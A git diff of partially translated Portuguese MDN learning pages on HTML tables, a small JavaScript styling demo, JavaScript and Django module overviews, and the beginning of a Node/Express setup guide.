As you will see, the cells are not placed underneath each other, rather they are automatically aligned with other on the same row. Each <td> element creates a single cell and together they make up the first row. Every cell we add makes the row grow longer.

+ +

To stop this row from growing and start placing subsequent cells on a second row, we need to use the <tr> element ('tr' stands for 'table row'). Let's investigate this now.

+ +
    +
  1. Place the four cells you've already created inside <tr> tags, like so: + +
    <tr>
    +  <td>Hi, I'm your first cell.</td>
    +  <td>I'm your second cell.</td>
    +  <td>I'm your third cell.</td>
    +  <td>I'm your fourth cell.</td>
    +</tr>
    +
  2. +
  3. Now you've made one row, have a go at making one or two more — each row needs to be wrapped in an additional <tr> element, with each cell contained in a <td>.
  4. +
+ +

This should result in a table that looks something like the following:

+ + + + + + + + + + + + + + + + +
Hi, I'm your first cell.I'm your second cell.I'm your third cell.I'm your fourth cell.
Second row, first cell.Cell 2.Cell 3.Cell 4.
+ +
+

Nota:também pode encontrar isto no GitHub, como simple-table.html (veja-a em execução).

+
+ +

Adicionar cabeçalhos com elementos <th>

+ +

Now let's turn our attention to table headers — special cells that go at the start of a row or column and define the type of data that row or column contains (as an example, see the "Person" and "Age" cells in the first example shown in this article). To illustrate why they are useful, have a look at the following table example. First the source code:

+ +
<table>
+  <tr>
+    <td>&nbsp;</td>
+    <td>Knocky</td>
+    <td>Flor</td>
+    <td>Ella</td>
+    <td>Juan</td>
+  </tr>
+  <tr>
+    <td>Breed</td>
+    <td>Jack Russell</td>
+    <td>Poodle</td>
+    <td>Streetdog</td>
+    <td>Cocker Spaniel</td>
+  </tr>
+  <tr>
+    <td>Age</td>
+    <td>16</td>
+    <td>9</td>
+    <td>10</td>
+    <td>5</td>
+  </tr>
+  <tr>
+    <td>Owner</td>
+    <td>Mother-in-law</td>
+    <td>Me</td>
+    <td>Me</td>
+    <td>Sister-in-law</td>
+  </tr>
+  <tr>
+    <td>Eating Habits</td>
+    <td>Eats everyone's leftovers</td>
+    <td>Nibbles at food</td>
+    <td>Hearty eater</td>
+    <td>Will eat till he explodes</td>
+  </tr>
+</table>
+ +

Em baixo, tem a tabela renderizada:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 KnockyFlorEllaJuan
BreedJack RussellPoodleStreetdogCocker Spaniel
Age169105
OwnerMother-in-lawMeMeSister-in-law
Eating HabitsEats everyone's leftoversNibbles at foodHearty eaterWill eat till he explodes
+ +

The problem here is that, while you can kind of make out what's going on, it is not as easy to cross reference data as it could be. If the column and row headings stood out in some way, it would be much better.

+ +

Aprendizagem ativa: cabeçalhos de tabela

+ +

Let's have a go at improving this table.

+ +
    +
  1. First, make a local copy of our dogs-table.html and minimal-table.css files in a new directory on your local machine. The HTML contains the same Dogs example as you saw above.
  2. +
  3. To recognize the table headers as headers, both visually and semantically, you can use the <th> element ('th' stand for 'table header'). This works in exactly the same way as a <td>, except that it denotes a header, not a normal cell. Go into your HTML, and change all the <td> elements surrounding the table headers into <th> elements.
  4. +
  5. Save your HTML and load it in a browser, and you should see that the headers now look like headers.
  6. +
+ +
+

Nota: You can find our finished example at dogs-table-fixed.html on GitHub (see it live also).

+
+ +

Porque é que os cabeçalhos são úteis?

+ +

We have already partially answered this question — it is easier to find the data you are looking for when the headers clearly stand out, and the design just generally looks better.

+ +
+

Nota: Table headings come with some default styling — they are bold and centered even if you don't add your own styling to the table, to help them stand out.

+
+ +

Tables headers also have an added benefit — along with the scope attribute (which we'll learn about in the next article), they allow you to make tables more accessible by associating each header with all the data in the same row or column. Screenreaders are then able to read out a whole row or column of data at once, which is pretty useful.

+ +

Permitir que as células sejam distribuídas por múltiplas filas e colunas

+ +

Sometimes we want cells to span multiple rows or columns. Take the following simple example, which shows the names of common animals. In some cases, we want to show the names of the males and females next to the animal name. Sometimes we don't, and in such cases we just want the animal name to span the whole table.

+ +

The initial markup looks like this:

+ +
<table>
+  <tr>
+    <th>Animals</th>
+  </tr>
+  <tr>
+    <th>Hippopotamus</th>
+  </tr>
+  <tr>
+    <th>Horse</th>
+    <td>Mare</td>
+  </tr>
+  <tr>
+    <td>Stallion</td>
+  </tr>
+  <tr>
+    <th>Crocodile</th>
+  </tr>
+  <tr>
+    <th>Chicken</th>
+    <td>Cock</td>
+  </tr>
+  <tr>
+    <td>Rooster</td>
+  </tr>
+</table>
+ +

But the output doesn't give us quite what we want:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Animals
Hippopotamus
HorseMare
Stallion
Crocodile
ChickenCock
Rooster
+ +

We need a way to get "Animals", "Hippopotamus", and "Crocodile" to span across two columns, and "Horse" and "Chicken" to span downwards over two rows. Fortunately, table headers and cells have the colspan and rowspan attributes, which allow us to do just those things. Both accept a unitless number value, which equals the number of rows or columns you want spanned. For example, colspan="2" makes a cell span two columns.

+ +

Let's use colspan and rowspan to improve this table.

+ +
    +
  1. First, make a local copy of our animals-table.html and minimal-table.css files in a new directory on your local machine. The HTML contains the same animals example as you saw above.
  2. +
  3. Next, use colspan to make "Animals", "Hippopotamus", and "Crocodile" span across two columns.
  4. +
  5. Finally, use rowspan to make "Horse" and "Chicken" span across two rows.
  6. +
  7. Save and open your code in a browser to see the improvement.
  8. +
+ +
+

Note: You can find our finished example at animals-table-fixed.html on GitHub (see it live also).

+
+ + +
+ +

Proporcionar estilização comum para colunas

+ +

There is one last feature we'll tell you about in this article before we move on. HTML has a method of defining styling information for an entire column of data all in one place — the <col> and <colgroup> elements. These exist because it can be a bit annoying and inefficient having to specify styling on columns — you generally have to specify your styling information on every <td> or <th> in the column, or use a complex selector such as {{cssxref(":nth-child()")}}.

+ +

Take the following simple example:

+ +
<table>
+  <tr>
+    <th>Data 1</th>
+    <th style="background-color: yellow">Data 2</th>
+  </tr>
+  <tr>
+    <td>Calcutta</td>
+    <td style="background-color: yellow">Orange</td>
+  </tr>
+  <tr>
+    <td>Robots</td>
+    <td style="background-color: yellow">Jazz</td>
+  </tr>
+</table>
+ +

Which gives us the following result:

+ + + + + + + + + + + + + + + + +
Data 1Data 2
CalcuttaOrange
RobotsJazz
+ +

This isn't ideal, as we have to repeat the styling information across all three cells in the column (we'd probably have a class set on all three in a real project and specify the styling in a separate stylesheet). Instead of doing this, we can specify the information once, on a <col> element. <col> elements are  specified inside a <colgroup> container just below the opening <table> tag. We could create the same effect as we see above by specifying our table as follows:

+ +
<table>
+  <colgroup>
+    <col>
+    <col style="background-color: yellow">
+  </colgroup>
+  <tr>
+    <th>Data 1</th>
+    <th>Data 2</th>
+  </tr>
+  <tr>
+    <td>Calcutta</td>
+    <td>Orange</td>
+  </tr>
+  <tr>
+    <td>Robots</td>
+    <td>Jazz</td>
+  </tr>
+</table>
+ +

Effectively we are defining two "style columns", one specifying styling information for each column. We are not styling the first column, but we still have to include a blank <col> element — if we didn't, the styling would just be applied to the first column.

+ +

If we wanted to apply the styling information to both columns, we could just include one <col> element with a span attribute on it, like this:

+ +
<colgroup>
+  <col style="background-color: yellow" span="2">
+</colgroup>
+ +

Just like colspan and rowspan, span takes a unitless number value that specifies the number of columns you want the styling to apply to.

+ +

Aprendizagem ativa: colgroup e col

+ +

Now it's time to have a go yourself.

+ +

Below you can see the timetable of a languages teacher. On Friday she has a new class teaching Dutch all day, but she also teaches German for a few periods on Tuesday and Thursdays. She wants to highlight the columns containing the days she is teaching.

+ +

{{EmbedGHLiveSample("learning-area/html/tables/basic/timetable-fixed.html", '100%', 320)}}

+ +

Recreate the table by following the steps below.

+ +
    +
  1. First, make a local copy of our timetable.html file in a new directory on your local machine. The HTML contains the same table you saw above, minus the column styling information.
  2. +
  3. Add a <colgroup> element at the top of the table, just underneath the <table> tag, in which you can add your <col> elements (see the remaining steps below).
  4. +
  5. The first two columns need to be left unstyled.
  6. +
  7. Add a background color to the third column. The value for your style attribute is background-color:#97DB9A;
  8. +
  9. Set a separate width on the fourth column. The value for your style attribute is width: 42px;
  10. +
  11. Add a background color to the fifth column. The value for your style attribute is background-color: #97DB9A;
  12. +
  13. Add a different background color plus a border to the sixth column, to signify that this is a special day and she's teaching a new class. The values for your style attribute are background-color:#DCC48E; border:4px solid #C1437A;
  14. +
  15. The last two days are free days, so just set them to no background color but a set width; the value for the style attribute is width: 42px;
  16. +
+ +

See how you get on with the example. If you get stuck, or want to check your work, you can find our version on GitHub as timetable-fixed.html (see it live also).

+ +

Resumo

+ +

That just about wraps up the basics of HTML Tables. In the next article we will look at some slightly more advanced table features, and start to think how accessible they are for visually impaired people.

+ +
{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}
+ +
+

Neste módulo

+ + +
+ +
+ + + + + +
diff --git a/files/pt-pt/learn/html/tables/structuring_planet_data/index.html b/files/pt-pt/learn/html/tables/structuring_planet_data/index.html new file mode 100644 index 0000000000..70fbf3601a --- /dev/null +++ b/files/pt-pt/learn/html/tables/structuring_planet_data/index.html @@ -0,0 +1,151 @@ +--- +title: 'Avaliação: Estruturar os dados dos planetas' +slug: Learn/HTML/Tables/Avaliacao_Estruturar_os_dados_dos_planetas +translation_of: Learn/HTML/Tables/Structuring_planet_data +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}
+ +

Na nossa avaliação de tabela, nós forncemos-lhe alguns dados dos planetas no nosso sistema solar, para que possa estruturá-los numa tabela HTML .

+ + + + + + + + + + + + +
Pré-requisitos:Before attempting this assessment you should have already worked through all the articles in this module.
Objetivo:To test comprehension of HTML tables and associated features.
+ +

Ponto inicial

+ +

To get this assessment started, make local copies of blank-template.html, minimal-table.css, and planets-data.txt in a new directory in your local computer.

+ +
+

Note: Alternatively, you could use a site like JSBin or Thimble to do your assessment. You could paste the HTML, CSS and JavaScript into one of these online editors. If the online editor you are using doesn't have separate JavaScript/CSS panels, feel free to put them inline <script>/<style> elements inside the HTML page.

+
+ +

Sumário do projeto

+ +

You are working at a school; currently your students are studying the planets of our solar system, and you want to provide them with an easy-to-follow set of data to look up facts and figures about the planets. An HTML data table would be ideal — you need to take the raw data you have available and turn it into a table, following the steps below.

+ +

The finished table should look like this:

+ +

+ +

You can also see the example live here (no looking at the source code — don't cheat!)

+ + + +

Passos para concluir

+ +

The following steps describe what you need to do to complete the table example. All the data you'll need is contained in the planets-data.txt file. If you have trouble visualising the data, look at the live example above, or try drawing a diagram.

+ +
    +
  1. Open your copy of blank-template.html, and start the table off by giving it an outer container, a table header, and a table body. You don't need a table footer for this example.
  2. +
  3. Add the provided caption to your table.
  4. +
  5. Add a row to the table header containing all the column headers.
  6. +
  7. Create all the content rows inside the table body, remembering to make all the row headings into headings semantically.
  8. +
  9. Make sure all the content is inserted into the right cells — in the raw data, each row of planet data is shown next to its associated planet.
  10. +
  11. Add attributes to make the row and column headers unambiguously associated with the rows, columns, or rowgroups that they act as headings for.
  12. +
  13. Add a black border just around the column that contains all the planet name row headers.
  14. +
+ +

Dicas e sugestões

+ + + +

Avaliação

+ +

If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the Learning Area Discourse thread, or in the #mdn IRC channel on Mozilla IRC. Try the exercise first — there is nothing to be gained by cheating!

+ +

{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}

+ +
+ + + + + +
diff --git a/files/pt-pt/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/pt-pt/learn/javascript/client-side_web_apis/manipulating_documents/index.html new file mode 100644 index 0000000000..f752fdbf6c --- /dev/null +++ b/files/pt-pt/learn/javascript/client-side_web_apis/manipulating_documents/index.html @@ -0,0 +1,160 @@ +--- +title: JavaScript +slug: Web/CSS/Como_começar/JavaScript +tags: + - 'CSS:Como_começar' +translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +translation_of_original: Web/Guide/CSS/Getting_started/JavaScript +--- +

{{ PreviousNext("CSS:Como começar:Mídia", "CSS:Como começar:XBL bindings") }}

+ +

Esta é a Parte II do tutorial. A Parte II contém alguns exemplos que mostram o escopo do CSS no Mozilla.

+ +

Cada página na Parte II ilustra como o CSS interage com algumas outras tecnologias. Estas páginas não são desenhadas para ensinar como usar estas outras tecnologias. Vá para outros tutorias para aprender isto em detalhes.

+ +

Em vez disso, estas páginas são desenhadas para ilustrar os muitos usos do CSS. Para usar estas páginas, você deve ter um conhecimento em CSS, mas você não precisa qualquer conhecimento em outras tecnologias.

+ +

Informação: JavaScript

+ +

JavaScript é uma linguagem de programação. Quando você usa alguma aplicação Mozilla (por exemplo, seu naverador Mozilla) muito do código que o seu computador roda é escrito em JavaScript.

+ +

JavaScript pode interagir com folhas de estilo, permitindo a você escrever programas que mudem o estilo do documento dinamicamente.

+ +

Existem três maneiras para fazer isto:

+ + + + + + + + + + +
Mais detalhes
Para mais informações sobre JavaScript no Mozilla, veja a página JavaScript neste wiki.
+ +

Ação: Uma demonstração de JavaScript

+ +

Criei um novo documento HTML, doc5.html. Copie e cole o conteúdo daqui, tendo certeza de ter rolado a tela e pego tudo isto:

+ +
+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+
+<HEAD>
+<TITLE>Como Começar Mozilla CSS - Demonstração JavaScript</TITLE>
+<LINK rel="stylesheet" type="text/css" href="style5.css">
+<SCRIPT type="text/javascript" src="script5.js"></SCRIPT>
+</HEAD>
+
+<BODY>
+<H1>JavaScript de amostra</H1>
+
+<DIV id="square"></DIV>
+
+<BUTTON type="button" onclick="doDemo(this);">Clique Aqui</BUTTON>
+
+</BODY>
+</HTML>
+
+
+ +

Crie um novo arquivo CSS, style5.css. Copie e cole o conteúdo daqui:

+ +
+
/*** Demonstração JavaScript ***/
+#square {
+  width: 20em;
+  height: 20em;
+  border: 2px inset gray;
+  margin-bottom: 1em;
+  }
+
+button {
+  padding: .5em 2em;
+  }
+
+
+ +

Crie um novo arquivo de texo, script5.js. Copie e cole o conteúdo daqui:

+ +
+
// Demonstração JavaScript
+function doDemo (button) {
+  var square = document.getElementById("square")
+  square.style.backgroundColor = "#fa4"
+  button.setAttribute("disabled", "true")
+  setTimeout(clearDemo, 2000, button)
+  }
+
+function clearDemo (button) {
+  var square = document.getElementById("square")
+  square.style.backgroundColor = "transparent"
+  button.removeAttribute("disabled")
+  }
+
+
+ +

Abra o documento no seu navegador e pressione o botão.

+ +

Este wiki não suporta o JavaScript nas páginas, então não é possível mostrar a demonstração aqui. Deve se parecer como isto, antes e depois de você pressionar o botão:

+ + + + + + + + +
+ + + + + + +
+

Demonstração JavaScript

+
+
+ + + + + + +
+

Demonstração JavaScript

+
+
+ +

Notas sobre esta demonstração:

+ + + + + + + + + + +
Desafio
Mude o script de modo que o quadrado salte para a direita em 20 em quando sua cor mudar, e salte para trás mais tarde.
+ +

O que vem depois?

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

Nesta demonstração, o documento HTML linka o script mesmo que somente o elemento button use o script. Mozilla extende o CSS para que possa ser ligado ao código JavaScript (e também conteúdo e outras folhas de estilo) para elementos selecionados. A próxima página demonstra isto: XBL bindings

+ +

{{ PreviousNext("CSS:Como começar:Mídia", "CSS:Como começar:XBL bindings") }}

diff --git a/files/pt-pt/learn/javascript/first_steps/index.html b/files/pt-pt/learn/javascript/first_steps/index.html new file mode 100644 index 0000000000..02041b3355 --- /dev/null +++ b/files/pt-pt/learn/javascript/first_steps/index.html @@ -0,0 +1,143 @@ +--- +title: JavaScript - Os Primeiros Passos +slug: Learn/JavaScript/Primeiros_passos +tags: + - Artigo + - Avaliação + - Guía + - JavaScript + - Numeros + - Operadores + - Principiante + - Variáveis + - 'l10n:priority' + - modulo + - strings +translation_of: Learn/JavaScript/First_steps +--- +
{{LearnSidebar}}
+ +

In our first JavaScript module, we first answer some fundamental questions such as "what is JavaScript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing JavaScript. After that, we discuss some key building blocks in detail, such as variables, strings, numbers and arrays.

+ +

Pré-requisitos

+ +

Before starting this module, you don't need any previous JavaScript knowledge, but you should have some familiarity with HTML and CSS. You are advised to work through the following modules before starting on JavaScript:

+ + + +
+

Nota: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin or Thimble.

+
+ +

Guias

+ +
+
O que é o JavaScript?
+
Welcome to the MDN beginner's JavaScript course! In this first article we will look at JavaScript from a high level, answering questions such as "what is it?", and "what is it doing?", and making sure you are comfortable with JavaScript's purpose.
+
A first splash into JavaScript
+
Now you've learned something about the theory of JavaScript, and what you can do with it, we are going to give you a crash course in the basic features of JavaScript via a completely practical tutorial. Here you'll build up a simple "Guess the number" game, step by step.
+
What went wrong? Troubleshooting JavaScript
+
When you built up the "Guess the number" game in the previous article, you may have found that it didn't work. Never fear — this article aims to save you from tearing your hair out over such problems by providing you with some simple tips on how to find and fix errors in JavaScript programs.
+
Storing the information you need — Variables
+
After reading the last couple of articles you should now know what JavaScript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level. In this article we will get down to the real basics, looking at how to work with most basic building blocks of JavaScript — Variables.
+
Basic math in JavaScript — numbers and operators
+
At this point in the course we discuss maths in JavaScript — how we can combine operators and other features to successfully manipulate numbers to do our bidding.
+
Handling text — strings in JavaScript
+
Next we'll turn our attention to strings — this is what pieces of text are called in programming. In this article we'll look at all the common things that you really ought to know about strings when learning JavaScript, such as creating strings, escaping quotes in string, and joining them together.
+
Useful string methods
+
Now we've looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more.
+
Arrays
+
In the final article of this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name. Here we look at why this is useful, then explore how to create an array, retrieve, add, and remove items stored in an array, and more besides.
+
+ +

Avaliações

+ +

The following assessment will test your understanding of the JavaScript basics covered in the guides above.

+ +
+
Silly story generator
+
In this assessment you'll be tasked with taking some of the knowledge you've picked up in this module's articles and applying it to creating a fun app that generates random silly stories. Have fun!
+
+ +
+ + + + + +
diff --git a/files/pt-pt/learn/javascript/primeiros_passos/index.html b/files/pt-pt/learn/javascript/primeiros_passos/index.html deleted file mode 100644 index 02041b3355..0000000000 --- a/files/pt-pt/learn/javascript/primeiros_passos/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: JavaScript - Os Primeiros Passos -slug: Learn/JavaScript/Primeiros_passos -tags: - - Artigo - - Avaliação - - Guía - - JavaScript - - Numeros - - Operadores - - Principiante - - Variáveis - - 'l10n:priority' - - modulo - - strings -translation_of: Learn/JavaScript/First_steps ---- -
{{LearnSidebar}}
- -

In our first JavaScript module, we first answer some fundamental questions such as "what is JavaScript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing JavaScript. After that, we discuss some key building blocks in detail, such as variables, strings, numbers and arrays.

- -

Pré-requisitos

- -

Before starting this module, you don't need any previous JavaScript knowledge, but you should have some familiarity with HTML and CSS. You are advised to work through the following modules before starting on JavaScript:

- - - -
-

Nota: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin or Thimble.

-
- -

Guias

- -
-
O que é o JavaScript?
-
Welcome to the MDN beginner's JavaScript course! In this first article we will look at JavaScript from a high level, answering questions such as "what is it?", and "what is it doing?", and making sure you are comfortable with JavaScript's purpose.
-
A first splash into JavaScript
-
Now you've learned something about the theory of JavaScript, and what you can do with it, we are going to give you a crash course in the basic features of JavaScript via a completely practical tutorial. Here you'll build up a simple "Guess the number" game, step by step.
-
What went wrong? Troubleshooting JavaScript
-
When you built up the "Guess the number" game in the previous article, you may have found that it didn't work. Never fear — this article aims to save you from tearing your hair out over such problems by providing you with some simple tips on how to find and fix errors in JavaScript programs.
-
Storing the information you need — Variables
-
After reading the last couple of articles you should now know what JavaScript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level. In this article we will get down to the real basics, looking at how to work with most basic building blocks of JavaScript — Variables.
-
Basic math in JavaScript — numbers and operators
-
At this point in the course we discuss maths in JavaScript — how we can combine operators and other features to successfully manipulate numbers to do our bidding.
-
Handling text — strings in JavaScript
-
Next we'll turn our attention to strings — this is what pieces of text are called in programming. In this article we'll look at all the common things that you really ought to know about strings when learning JavaScript, such as creating strings, escaping quotes in string, and joining them together.
-
Useful string methods
-
Now we've looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more.
-
Arrays
-
In the final article of this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name. Here we look at why this is useful, then explore how to create an array, retrieve, add, and remove items stored in an array, and more besides.
-
- -

Avaliações

- -

The following assessment will test your understanding of the JavaScript basics covered in the guides above.

- -
-
Silly story generator
-
In this assessment you'll be tasked with taking some of the knowledge you've picked up in this module's articles and applying it to creating a fun app that generates random silly stories. Have fun!
-
- -
- - - - - -
diff --git a/files/pt-pt/learn/no-servidor/django/index.html b/files/pt-pt/learn/no-servidor/django/index.html deleted file mode 100644 index 295b1e80b4..0000000000 --- a/files/pt-pt/learn/no-servidor/django/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Framework da Web Django (Python) -slug: Learn/No-servidor/Django -tags: - - Aprender - - CodingScripting - - Introdução - - Principiante - - Programação no lado do servidor - - Python - - django -translation_of: Learn/Server-side/Django ---- -
{{LearnSidebar}}
- -

Django é uma framework da web do lado do servidor extremamente popular e cheia de recursos, escrita em Python. O módulo mostra-lhe porque Django é uma das frameworks mais populares de servidor da web, como configurar um ambiente de desenvolvimento, e como começar a utilizá-lo para criar as suas próprias aplicações da web.

- -

Pré-requisitos

- -

Before starting this module you don't need to have any knowledge of Django. Ideally, you would need to understand what server-side web programming and web frameworks are by reading the topics in our Server-side website programming first steps module.

- -

A general knowledge of programming concepts and Python is recommended, but is not essential to understanding the core concepts.

- -
-

Nota: Python is one of the easiest programming languages for novices to read and understand. That said, if you want to understand this module better, there are numerous free books and tutorials available on the Internet to help you out. (new programmers might want to check out the Python for Non Programmers page on the python.org wiki).

-
- -

Guias

- -
-
Django introduction
-
In this first Django article we answer the question "What is Django?" and give you an overview of what makes this web framework special. We'll outline the main features, including some advanced functionality that we won't have time to cover in detail in this module. We'll also show you some of the main building blocks of a Django application, to give you an idea of what it can do before you set it up and start playing.
-
Setting up a Django development environment
-
Now that you know what Django is for, we'll show you how to setup and test a Django development environment on Windows, Linux (Ubuntu), and Mac OS X — whatever common operating system you are using, this article should give you what you need to be able to start developing Django apps.
-
Django Tutorial: The Local Library website
-
The first article in our practical tutorial series explains what you'll learn, and provides an overview of the "local library" — an example website we'll be working through and evolving in subsequent articles.
-
Django Tutorial Part 2: Creating a skeleton website
-
This article shows how you can create a "skeleton" website project as a basis, which you can then go on to populate with site-specific settings, urls, models, views, and templates.
-
Django Tutorial Part 3: Using models
-
This article shows how to define models for the LocalLibrary website — models represent the data structures we want to store our app's data in, and also allow Django to store data in a database for us (and modify it later on). It explains what a model is, how it is declared, and some of the main field types. It also briefly shows a few of the main ways you can access model data.
-
Django Tutorial Part 4: Django admin site
-
Now that we've created models for the LocalLibrary website, we'll use the Django Admin site to add some "real" book data. First we'll show you how to register the models with the admin site, then we'll show you how to login and create some data. At the end we show some ways in which you can further improve the presentation of the admin site.
-
Django Tutorial Part 5: Creating our home page
-
We're now ready to add the code to display our first full page — a home page for the LocalLibrary that shows how many records we have of each model type and provides sidebar navigation links to our other pages. Along the way we'll gain practical experience in writing basic URL maps and views, getting records from the database, and using templates.
-
Django Tutorial Part 6: Generic list and detail views
-
This tutorial extends our LocalLibrary website, adding list and detail pages for books and authors. Here we'll learn about generic class-based views, and show how they can reduce the amount of code you have to write for common use cases. We'll also go into URL handling in greater detail, showing how to perform basic pattern matching.
-
Django Tutorial Part 7: Sessions framework
-
This tutorial extends our LocalLibrary website, adding a session-based visit-counter to the home page. This is a relatively simple example, but it does show how you can use the session framework to provide persistent behaviour for anonymous users in your own sites.
-
Django Tutorial Part 8: User authentication and permissions
-
In this tutorial we'll show you how to allow users to login to your site with their own accounts, and how to control what they can do and see based on whether or not they are logged in and their permissions. As part of this demonstration we'll extend the LocalLibrary website, adding login and logout pages, and user- and staff-specific pages for viewing books that have been borrowed.
-
Django Tutorial Part 9: Working with forms
-
In this tutorial we'll show you how to work with HTML Forms in Django, and in particular the easiest way to write forms to create, update, and delete model instances. As part of this demonstration we'll extend the LocalLibrary website so that librarians can renew books, and create, update, and delete authors using our own forms (rather than using the admin application).
-
Django Tutorial Part 10: Testing a Django web application
-
As websites grow they become harder to test manually — not only is there more to test, but, as the interactions between components become more complex, a small change in one area can require many additional tests to verify its impact on other areas. One way to mitigate these problems is to write automated tests, which can easily and reliably be run every time you make a change. This tutorial shows how to automate unit testing of your website using Django's test framework.
-
Django Tutorial Part 11: Deploying Django to production
-
Now you've created (and tested) an awesome LocalLibrary website, you're going to want to install it on a public web server so that it can be accessed by library staff and members over the Internet. This article provides an overview of how you might go about finding a host to deploy your website, and what you need to do in order to get your site ready for production.
-
Django web application security
-
Protecting user data is an essential part of any website design. We previously explained some of the more common security threats in the article Web security — this article provides a practical demonstration of how Django's in-built protections handle such threats.
-
- -

Avaliações

- -

The following assessment will test your understanding of how to create a website using Django, as described in the guides listed above.

- -
-
DIY Django mini blog
-
In this assessment you'll use some of the knowledge you've learned from this module to create your own blog.
-
diff --git a/files/pt-pt/learn/no-servidor/express_nodejs/configurar_um_meio_de_desenvolvimento_node/index.html b/files/pt-pt/learn/no-servidor/express_nodejs/configurar_um_meio_de_desenvolvimento_node/index.html deleted file mode 100644 index 242d0be946..0000000000 --- a/files/pt-pt/learn/no-servidor/express_nodejs/configurar_um_meio_de_desenvolvimento_node/index.html +++ /dev/null @@ -1,406 +0,0 @@ ---- -title: Configurar um meio de desenvolvimento Node -slug: Learn/No-servidor/Express_Nodejs/Configurar_um_meio_de_desenvolvimento_Node -tags: - - Ambiente de desenvolvimento - - Aprender - - CodingScripting - - Express - - Introdução - - Node - - Nodo - - Principiante - - lado do servidor - - nodejs - - npm -translation_of: Learn/Server-side/Express_Nodejs/development_environment ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}
- -

Agora que sabe para que serve o Express, nós iremos mostrar-lhe como configurar e testar um ambiente de desenvolvimento Node/Express no Linux, (Ubuntu), macOS e Windows. Qualquer que seja o sistema operativo comum que esteja a utilizar, este artigo deverá fornecer-lhe o que precisa para começar a desenvolver aplicações Express.

- - - - - - - - - - - - -
Pré-requisitos:Know how to open a terminal / command line. Know how to install software packages on your development computer's operating system.
Objetivo:To set up a development environment for Express (X.XX) on your computer.
- -

Resumo do ambiente de desenvolvimento Express

- -

Node and Express make it very easy to set up your computer in order to start developing web applications. This section provides an overview of what tools are needed, explains some of the simplest methods for installing Node (and Express) on Ubuntu, macOS, and Windows, and shows how you can test your installation.

- -

O que é o ambiente de desenvolvimento Express?

- -

The Express development environment includes an installation of Nodejs, the NPM package manager, and (optionally) the Express Application Generator on your local computer.

- -

Node and the NPM package manager are installed together from prepared binary packages, installers, operating system package managers or from source (as shown in the following sections). Express is then installed by NPM as a dependency of your individual Express web applications (along with other libraries like template engines, database drivers, authentication middleware, middleware to serve static files, etc.)

- -

NPM can also be used to (globally) install the Express Application Generator, a handy tool for creating skeleton Express web apps that follow the MVC pattern. The application generator is optional because you don't need to use this tool to create apps that use Express, or construct Express apps that have the same architectural layout or dependencies. We'll be using it though, because it makes getting started a lot easier, and promotes a modular application structure.

- -
-

Nota: Unlike for some other web frameworks, the development environment does not include a separate development web server. In Node/Express a web application creates and runs its own web server!

-
- -

There are other peripheral tools that are part of a typical development environment, including text editors or IDEs for editing code, and source control management tools like Git for safely managing different versions of your code. We are assuming that you've already got these sorts of tools installed (in particular a text editor).

- -

Quais são os sistemas operativos suportados?

- -

Node can be run on Windows, macOS, many "flavours" of Linux, Docker, etc. (there is a full list on the nodejs Downloads page). Almost any personal computer should have the necessary performance to run Node during development. Express is run in a Node environment, and hence can run on any platform that runs Node.

- -

In this article we provide setup instructions for Windows, macOS, and Ubuntu Linux.

- -

Que versão de Node/Express deverei utilizar?

- -

There are many releases of Node — newer releases contain bug fixes, support for more recent versions of ECMAScript (JavaScript) standards, and improvements to the Node APIs. 

- -

Generally you should use the most recent LTS (long-term supported) release as this will be more stable than the "current" release while still having relatively recent features (and is still being actively maintained). You should use the Current release if you need a feature that is not present in the LTS version.

- -

For Express you should always use the latest version.

- -

E as bases de dados e outras dependências?

- -

Other dependencies, such as database drivers, template engines, authentication engines, etc. are part of the application, and are imported into the application environment using the NPM package manager.  We'll discuss them in later app-specific articles.

- -

Instalação de Node

- -

In order to use Express you will first have to install Nodejs and the Node Package Manager (NPM) on your operating system. The following sections explain the easiest way to install the Long Term Supported (LTS) version of Nodejs on Ubuntu Linux 16.04, macOS, and Windows 10.

- -
-

Dica: The sections below show the easiest way to install Node and NPM on our target OS platforms. If you're using another OS or just want to see some of the other approaches for the current platforms then see Installing Node.js via package manager (nodejs.org).

-
- -

macOS e Windows

- -

Installing Node and NPM on Windows and macOS is straightforward because you can just use the provided installer:

- -
    -
  1. Download the required installer: -
      -
    1. Go to https://nodejs.org/en/
    2. -
    3. Select the button to download the LTS build that is "Recommended for most users".
    4. -
    -
  2. -
  3. Install Node by double-clicking on the downloaded file and following the installation prompts.
  4. -
- -

Ubuntu 16.04

- -

The easiest way to install the most recent LTS version of Node 6.x is to use the package manager to get it from the Ubuntu binary distributions repository. This can be done very simply by running the following two commands on your terminal:

- -
